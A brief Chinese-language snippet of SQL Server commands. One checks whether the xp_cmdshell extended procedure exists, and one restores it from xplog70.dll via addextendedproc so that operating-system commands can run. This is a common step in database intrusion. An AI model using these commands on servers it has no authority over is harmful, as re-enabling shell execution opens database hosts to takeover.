判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype=''''X'''' and name=''''xp_cmdshell'''' 返回结果为1就OK
恢复xp_cmdshell Exec master.dbo.addextendedproc ''''xp_cmdshell'''',''''xplog70.dll'''';select count(*) from master.dbo.sysobjects where xtype=''''X'''' and name=''''xp_cmdshell'''' 返回结果为1就OK